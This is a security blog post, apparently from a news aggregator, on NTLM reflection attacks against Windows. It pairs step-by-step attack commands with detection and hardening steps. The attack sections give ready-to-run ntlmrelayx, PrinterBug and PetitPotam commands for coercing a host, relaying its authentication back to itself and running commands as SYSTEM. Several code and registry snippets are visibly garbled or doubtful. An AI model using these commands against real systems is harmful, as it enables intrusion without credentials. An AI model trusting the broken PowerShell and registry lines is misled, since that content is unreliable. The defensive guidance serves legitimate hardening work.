Listen to this Post
Introduction:
NTLM (NT LAN Manager) reflection attacks exploit a fundamental design flaw in Windows authentication where a system can be tricked into authenticating against itself, granting attackers SYSTEM-level access without ever knowing a single password. This technique, commonly leveraged in Active Directory environments, coerces a target machine to send its own NTLM hash to an attacker-controlled service, which then reflects the authentication back to the same machine – and because the system trusts itself, the reflected response is accepted, leading to immediate privilege escalation.
Learning Objectives:
- Understand the mechanics of NTLM reflection attacks and how they differ from traditional NTLM relay attacks.
- Learn to detect NTLM reflection through event logs and network anomalies.
- Implement mitigation strategies including SMB signing, LDAP signing, and registry hardening on Windows systems.
You Should Know:
- The Mechanics of NTLM Reflection: From Coercion to SYSTEM
NTLM reflection attacks bypass the need for credentials by abusing the challenge-response protocol. Normally, an NTLM authentication involves three messages: Negotiate, Challenge, and Authenticate. In a reflection attack, the attacker forces the victim machine (e.g., a Domain Controller or a high-value workstation) to initiate authentication to a malicious SMB server. The attacker then takes that authentication attempt and reflects it back to the same victim machine via a different service (e.g., SMB named pipe). Since the target sees the authentication coming from a “local” source, it accepts it and grants a session – often with SYSTEM privileges.
Step‑by‑step guide to simulating an NTLM reflection attack (red team only):
- Set up a relay listener using Impacket’s ntlmrelayx. The following command tells the tool to relay incoming NTLM authentications to the same host (127.0.0.1) using SMB:
python3 ntlmrelayx.py -t smb://127.0.0.1 -smb2support --no-http-server --no-wcf-server
-
Coerce authentication from the target machine (e.g., 192.168.1.10) to your attacking machine (192.168.1.100). Use the PrinterBug method via
MS-RPRN:On a Windows machine (or from Linux using rpcclient) rpcclient -U "" -N 192.168.1.10 -c "printdriver 0 '\192.168.1.100\test'"
Or use `PetitPotam` (Python script):
python3 PetitPotam.py -u null -p '' 192.168.1.100 192.168.1.10
- Once the target authenticates to your relay listener, ntlmrelayx will reflect the authentication back to the target itself. If successful, you’ll see a message like:
[] Authenticating against smb://127.0.0.1 as NT AUTHORITY\SYSTEM [+] Interactively running a command shell via SMB on 127.0.0.1
-
The attacker now has a SYSTEM shell on the target machine – no password required.
Linux command note: Impacket tools require Python 3. Install with
pip3 install impacket.
Windows command note: To check if your system is vulnerable, run `Get-SmbServerConfiguration | Select EnableSMB2Signing, RequireSecuritySignature` – both should be `True` to mitigate.
2. Coercion Techniques: PetitPotam, PrinterBug, ShadowCoerce
Attackers use various remote calls to force a Windows machine to authenticate outbound. These coercion primitives are vulnerability-independent; they abuse legitimate RPC interfaces.
Step‑by‑step guide to using PetitPotam (Linux):
1. Download PetitPotam from GitHub:
git clone https://github.com/topotam/PetitPotam cd PetitPotam
2. Run against a target Domain Controller:
python3 PetitPotam.py -d domain.local -u username -p password attacker_ip target_ip
If credentials are unknown, use `-u ” -p ”` for null sessions (often works on misconfigured DCs).
3. The target will immediately attempt to authenticate to the attacker’s IP using SMB or WebDAV.
Windows‑native coercion using PowerShell and `Invoke-DCOM`:
$com = [bash]::GetTypeFromCLSID("00024500-0000-0000-C000-000000000046", "target.domain.local")
$obj = [System.Activator]::CreateInstance($com)
$obj.DoSomething("\attacker_ip\share")
- Exploitation in Depth: Relaying to Local Named Pipes
NTLM reflection is most powerful when relayed to privileged named pipes like `srvsvc` (Server Service) or lsarpc. This allows the attacker to execute arbitrary commands, dump SAM hashes, or even create new domain admins.
Step‑by‑step exploitation with ntlmrelayx:
- Start ntlmrelayx with a specific SMB pipe target:
ntlmrelayx.py -t smb://127.0.0.1/pipe/srvsvc -smb2support --no-http-server
- Add a command to execute upon successful relay:
ntlmrelayx.py -t smb://127.0.0.1 -c 'whoami > C:\temp\pwned.txt' -smb2support
- Coerce the target using any method (PrinterBug, PetitPotam). The relayed authentication will trigger the command execution as SYSTEM.
Windows detection command – look for local‑to‑local logon events:
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | Where-Object {$<em>.Properties[bash].Value -eq '127.0.0.1' -and $</em>.Properties[bash].Value -eq 'SMB'}
4. Detection Through Logging and Network Anomalies
NTLM reflection leaves traces. The most telling sign is an authentication where source and destination IPs are identical (127.0.0.1 or the same external IP) but the logon type is network (3) or network clear text (8).
Step‑by‑step detection setup:
1. Enable NTLM auditing via Group Policy:
- Navigate to `Computer Configuration > Windows Settings > Security Settings > Local Policies > Audit Policy`
– Set “Audit Logon Events” to Success and Failure.
- Forward security logs to a SIEM and create an alert for Event ID 4624 with:
– Logon Type = 3
– Source Network Address = Target Server’s own IP address (not LocalHost)
– Authentication Package = NTLM
3. Use Sysmon (Event ID 3) to monitor network connections where source and destination ports on the same machine talk to each other over SMB (port 445).
Linux‑based detection – analyze pcap for NTLMSSP packets with same IP src/dst:
tshark -r capture.pcap -Y "ntlmssp && ip.src == ip.dst"
- Mitigation: SMB Signing, LDAP Signing, and Registry Hardening
Microsoft has released patches that block most reflection vectors (CVE-2019-1040, CVE-2021-1678). However, misconfigurations persist.
Step‑by‑step mitigation on Windows:
- Enforce SMB signing (disables NTLM relay and reflection on SMB):
– Open PowerShell as Administrator.
– Run:
Set-SmbServerConfiguration -RequireSecuritySignature $true -EnableSMB2Signing $true -Force
– For client‑side: `Set-SmbClientConfiguration -RequireSecuritySignature $true -Force`
2. Disable NTLM authentication entirely where possible (Group Policy):
– `Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options`
– Set “Network security: Restrict NTLM: Incoming NTLM traffic” to “Deny all accounts”
– Note: This will break legacy applications.
- Enable LDAP signing to prevent NTLM reflection via LDAP:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v "LDAPServerIntegrity" /t REG_DWORD /d 2 /f
-
Apply Microsoft patches for CVE-2019-1040 (KB4495666 or later) and enable Extended Protection for Authentication (EPA) on IIS and other services.
-
Registry key to prevent SMB reflection (Windows 10/Server 2016+):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v "ReflectToSelfAllowed" /t REG_DWORD /d 0 /f
-
Linux and Windows Commands for Testing and Validation
Test if your system is vulnerable to NTLM reflection:
– From a Linux attacker machine, use `nmap` to check for SMB signing:
nmap --script smb-security-mode -p445 target_ip
If `message_signing` is disabled, the target is vulnerable.
- From Windows, use PowerShell to check the same:
Get-SmbServerConfiguration | Select EnableSMB2Signing, RequireSecuritySignature
Simulate a reflection attempt safely (without full attack):
Use Impacket’s `smbclient.py` to attempt local authentication reflection:
smbclient.py -hashes :<NThash> 'target/[email protected]'
If you get a session, reflection works.
7. Advanced: Extended Protection and Channel Binding
Extended Protection for Authentication (EPA) ties NTLM authentication to a specific TLS channel, preventing reflection across different service endpoints. Channel Binding Tokens (CBT) ensure that the authentication response cannot be replayed to a different service on the same machine.
Step‑by‑step to enable EPA on IIS:
1. Open IIS Manager, select your site.
2. Double-click “Authentication”, select “Windows Authentication”.
- Click “Advanced Settings”, set “Extended Protection” to “Required”.
- Set “Enable Kernel‑mode authentication” to false (kernel mode does not support EPA).
5. Restart the site.
Registry for LDAP with EPA (Domain Controller):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v "LdapEnforceChannelBinding" /t REG_DWORD /d 2 /f
What Undercode Say:
- NTLM reflection is not a vulnerability but a design weakness – it exploits the inherent trust a system has in itself. Until Microsoft fully deprecates NTLM (which may never happen due to legacy systems), reflection will remain a viable red‑team path to SYSTEM.
- Mitigation requires defense in depth: SMB signing alone stops many reflection attacks, but attackers can use other protocols (HTTP, LDAP). The safest approach is to disable NTLM across the domain and enforce Kerberos with strict signing policies.
Analysis: The resurgence of NTLM reflection in tools like `ntlmrelayx` and coercers like PetitPotam shows that even 20‑year‑old protocols can become critical attack vectors in modern Active Directory environments. Many security teams focus on external threats but overlook local authentication loops. Regular auditing of SMB signing status and logon events for local IPs is a low‑effort, high‑impact control. Red teams should practice reflection attacks to demonstrate how “self‑trust” can be weaponized – and blue teams must instrument their SIEMs to catch the telltale 127.0.0.1 network logons.
Prediction:
As organizations accelerate cloud migration and hybrid identity (Azure AD Connect), NTLM reflection will find new life in on‑prem‑to‑cloud bridges. Attackers will likely develop reflection techniques that coerce hybrid sync accounts into authenticating against themselves, leading to takeover of Azure AD Connect servers and ultimately global tenant compromise. The next wave of Windows patches will focus on eliminating reflection across all protocols, but legacy industrial control systems (ICS) and medical devices still using NTLMv1 will become prime targets for attackers looking to pivot laterally without credentials. Expect to see CISA advisories on NTLM reflection in OT environments within the next 18 months.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Bsfall02 Ntlmreflectionattack – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
